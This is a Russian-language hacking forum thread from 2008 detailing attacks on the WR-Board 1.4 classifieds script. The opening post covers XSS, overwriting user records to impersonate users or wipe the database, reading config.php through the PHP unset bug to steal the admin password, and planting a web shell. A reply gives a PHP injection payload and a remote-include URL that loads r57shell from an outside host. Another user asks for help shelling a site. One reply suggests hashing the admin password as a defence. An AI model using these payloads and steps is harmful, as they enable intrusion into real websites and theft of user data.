Море уязвимостей в WR-Board 1.4

Discussion in 'Веб-уязвимости' started by otmorozok428, 1 May 2008.

  1. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    На днях потестил доску объявлений WR-Board 1.4, представляю отчет о найденных глюках:

    1. XSS

    К сожалению, все пассивные.


    Есть активная XSS в cookies, параметр wrboardname

    Правда, при помощи неё можно утянуть только свои собственные куки. :)


    2. Регистрация пользователя с уже существующим именем.

    Хочу я, скажем, зарегистрировать юзера с ником Pupkin, а подлая борда говорит, что есть уже такой пользователь и обламывает процесс. Что делать? Регистрируем пользователя с ником, допустим, Vasya, идём на вкладку "Ваш профиль", открываем исходный код странички, ищем строчку

    и заменяем её на

    Параметр 'ok=9' означает, что наш профиль после сохранения будет записан в девятую строчку от начала файла usersdat.php, где лежат профили всех юзеров, кроме админа. Профиль безвестного чувака, который лежит в девятой строчке, естественно, будет затерт - искусство требует жертв... Затем ищем ещё вот такую строчку

    и заменяем на

    Сохраняем страничку на жесткий диск, открываем её оттуда и жмём кнопку "Сохранить изменения".

    Всё, теперь в базе 2 пользователя с ником Pupkin. Если нужно, можно создать ещё. :)
    Изменяя параметр ok от 0 до N, где N - количество пользователей, можно затереть всю базу, это будет DoS-атака...


    3. Публикация сообщения от чужого имени.

    Собственно, почти то же, что и в пункте 2, только не требуется добавление нового пользователя в базу и, соответственно, не надо затирать уже существующих юзеров. Выбираем пункт "Добавить объявление" и приводим 2 строчки в POST-формочке к такому виду

    и


    4. Просмотр произвольных файлов на сервере.

    Существует возможность просмотра файлов, благодаря unset-багу для PHP4 < 4.4.3, PHP5 < 5.1.4. Подробнее про unset-уязвимость можно почитать, например, здесь:

    http://forum.antichat.ru/thread54355.html

    Смотрим код в файле index.php:

    PHP:
    // ПОКАЗЫВАЕМ ТЕКУЩЕЕ ОБЪЯВЛЕНИЕ (ЛЕВЕЛ 3)
    if (isset($_GET['fid']) and isset($_GET['id'])) { $fid=$_GET['fid'];

    $error="Ошибка скрипта! Обратитесь к администратору - $adminemail";
    $deleted="$back. Файл рубрики НЕ существует! Возможно администратор удалил данную рубрику.";
    if (!isset(
    $_GET['id'])) {print"$error"; exit;} $id=$_GET['id'];
    if (
    $_GET['id']==="") {print "$error"; exit;}

    if (
    is_file("$datadir/$fid.dat")) {$lines=file("$datadir/$fid.dat");}
    $cy=count($lines)-1$itogo=$cy$i=$itogo;
    if (
    $cy>=0) {unset($number); do {$dt=explode("|",$lines[$i]);
     if (
    $dt[10]==$id) {$number=$i;} $i--;} while ($i >= 0);}

    if (!isset(
    $number)) {include "$topurl"addtop(); print"<BR><BR><BR><BR><BR><center><font size=-1><B>Уважаемый 

    посетитель!</B><BR><BR> 
    Извините, но запрашиваемое Вами <B>объявление недоступно.</B><BR><BR>
    Скорее всего, <B>закончился срок его показа</B>, и оно было удалено с доски.<BR><BR>
    Вы можете <B><a href='index.php?fid=
    $fid'>перейти в раздел</a></B> где было размещено объявление.<BR>
    Возможно, Вы найдёте похожее объявление в этом разделе.<BR><BR>
    <B>Перейти на главную</B> страницу доски можно по <B><a href='index.php'>этой 

    ссылке</a></B><BR><BR><BR><BR><BR><BR><BR><BR><BR>"
    ;

    } else {

    ...................................
    какие-то действия
    ...................................

    if (
    is_file("$datadir/$id.dat"))  {

    $rlines=file("$datadir/$id.dat");
    ................................
    ................................
    }}
    Видим, что если переменная $number инициализирована, имеется возможность запихнуть в качестве переменной $id имя какого-нибудь файла. При этом переменная $id вообще никак не фильтруется, а глючный кусок кода то ли остался от предыдущих версий, то ли используется в платной версии, но в версии Lite при штатной работе он вообще никак не задействован.

    Далее, бежим на

    http://lukasz.pilorz.net/testy/zend_hash

    и по быстрому вычисляем хеши для переменной $number, они такие

    Теперь, пробуем создавать действительно правильные запросы... Скрипт, конечно, будет очень сильно материться, но выполняться... Смотрим содержимое файла newmsg.dat


    Получаем, содержимое файла usersdat.php:

    Посмотрим файлик config.php (здесь, кстати, лежит админский пасс)

    Короче, unset-баг самый вкусный... К сожалению, на все 100% заюзать баг мне удалось только здесь:

    Вообще же, мне удалось обнаружить большое количество сайтов, где unset-бага достаточно успешно работает, но %00 почему-то не катит... Например,

    Если, кто-нить знает что не так с %00, отпишитесь, плз...


    Заключение: Получение шелла

    Идем в админку (файл admin.php), логинимся с админским пассом из файла config.php, заходим на вкладку "Конфигурация" и в пункте "Относительный путь до папки с данными доски" прописываем

    Сохраняем конфигурацию. Всё, шелл готов к работе!​

    *****
     
    #1 otmorozok428, 1 May 2008
    Last edited: 4 May 2008
    11 people like this.
  2. KeynDark

    KeynDark New Member

    Joined:
    24 Apr 2008
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Получение шелла

    Удобней так:
    Code:
    ./data";include $_GET["inc"];//
    Инклюдим шел:
    Code:
    www.test.ua/board/index.php?inc=http://site.ua/r57shell.txt
    Пока всё :)
     
  3. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    0_o а каким образом ты REMOTE_ADDR собрался изменять???
    Не катит, потому что на тех сайтах включен magic_quotes_gpc, который экранирует нулл байт
     
    1 person likes this.
  4. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    Сорри, действительно не получится - убрал этот пункт...

    За magic_quotes_gpc - спасибо, что оно нуль-байт тоже режет не знал...
     
  5. Dr.Frank

    Dr.Frank Elder - Старейшина

    Joined:
    31 Jul 2002
    Messages:
    301
    Likes Received:
    72
    Reputations:
    12
    Если кому интересно, как вариант от заливки шелла(а точнее от получения пароля админа путем прочтения файла config.php) поможет md5-хеширование пароля админа.

    В файле config.php меняем $password=пароль на $password=хеш_от_пароля.
    Файл admin.php переделанный для работы с хешем тут -> http://rapidshare.com/files/112438256/admin.zip.html
     
  6. omel

    omel Elder - Старейшина

    Joined:
    26 Jun 2007
    Messages:
    21
    Likes Received:
    1
    Reputations:
    0
    Нужна помощь

    Нужна помощь есть пароль на админку и нужно залить шел... пробовал по этому методу не идет. :confused: Вот что пишет:
    Warning: fopen(config.php) [function.fopen]: failed to open stream: Permission denied in /usr/home/------/admin.php on line 1347
    Warning: flock() expects parameter 1 to be resource, boolean given in /usr/home/------/admin.php on line 1349
    Warning: ftruncate(): supplied argument is not a valid stream resource in /usr/home/------/admin.php on line 1351
    Warning: fputs(): supplied argument is not a valid stream resource in /usr/home/------/admin.php on line 1353
    Warning: fflush(): supplied argument is not a valid stream resource in /usr/home/------/admin.php on line 1355
    Warning: flock() expects parameter 1 to be resource, boolean given in /usr/home/------/admin.php on line 1357
    Warning: fclose(): supplied argument is not a valid stream resource in /usr/home/------/admin.php on line 1359
    Warning: Cannot modify header information - headers already sent by (output started at /usr/home/------/admin.php:1347) in /usr/home/------/admin.php on line 1365
     
  7. KyMPaH

    KyMPaH New Member

    Joined:
    26 Jan 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Что конкретно не идёт? Не инклудит или вообще не сохраняет новые настройки в админке? Если не сохраняет настройки в админке - забей на этот сайт, у веб-сервера нет прав на запись в файл с настройками. Данным методом залить шелл на сайт не получится.
     
    #7 KyMPaH, 27 Jan 2009
    Last edited: 27 Jan 2009
  8. omel

    omel Elder - Старейшина

    Joined:
    26 Jun 2007
    Messages:
    21
    Likes Received:
    1
    Reputations:
    0
    я так и понял что нифига не будет...